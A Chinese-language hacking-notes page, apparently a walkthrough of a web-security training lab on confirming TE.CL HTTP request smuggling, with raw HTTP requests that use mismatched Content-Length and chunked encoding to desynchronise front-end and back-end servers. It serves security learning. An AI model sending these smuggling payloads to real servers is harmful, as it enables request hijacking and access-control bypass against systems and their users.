> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/te-cl-vulnerability-confirmation-via-differential-responses.md).

# 通过差异响应确认 TE.CL 漏洞

### HTTP 请求走私，通过差异响应确认 TE.CL 漏洞

该 **前端** 服务器接受分块编码，而 **后端** 不支持它。/ 目标是向内部服务器注入一个被遮蔽的查询，然后向 **/** 以触发一个响应 **404 未找到**，从而确认了去同步。

尽管应用允许使用 HTTP/2，但可利用的技术完全依赖于 **HTTP/1**特定的行为，这需要在 Burp Repeater 中手动更改协议。

#### **TE.CL 原理**

为了测试是否存在漏洞 **TE.CL**，与长度相关的字段会被操纵。/ 通过故意定义一个 **更大的 Content-Length** 大于实际正文大小，就会强制产生两个服务器解释不同的偏移。/ 例如，一个实际上为 13 字节的分块正文可以声明为：

```http
Content-Length: 15

3
abc
0


```

这足以导致去同步。

<figure><img src="/files/47342cd2046877cbc1aa5b81d3c54007a54707c2" alt=""><figcaption></figcaption></figure>

#### **分块十六进制编码**

以下片段大小应以十六进制计算：

```http
POST /error HTTP/1.1
测试：A
```

<figure><img src="/files/848963e0bbee221697aa2624962943623f441a39" alt=""><figcaption></figcaption></figure>

首次尝试是仅发送分块大小（4 字节）：

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

1d
POST /error HTTP/1.1
测试：A
0


```

然而，服务器不会将此版本视为两个独立请求，因此无法正常工作。

为了实现可靠的行为，后端必须将注入的请求解释为有效的 HTTP 请求。/ 字段 **Content-Length** 在发送更大的分块时会被“膨胀”：

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

38
POST /error HTTP/1.1
Content-Length: 20

testing=test
0


```

通过发送此请求 **两次**，就会发生去同步，攻击按预期奏效。

<figure><img src="/files/e0fea7bb39cd65ce7e4ca767dbacfa6317423b10" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/te-cl-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
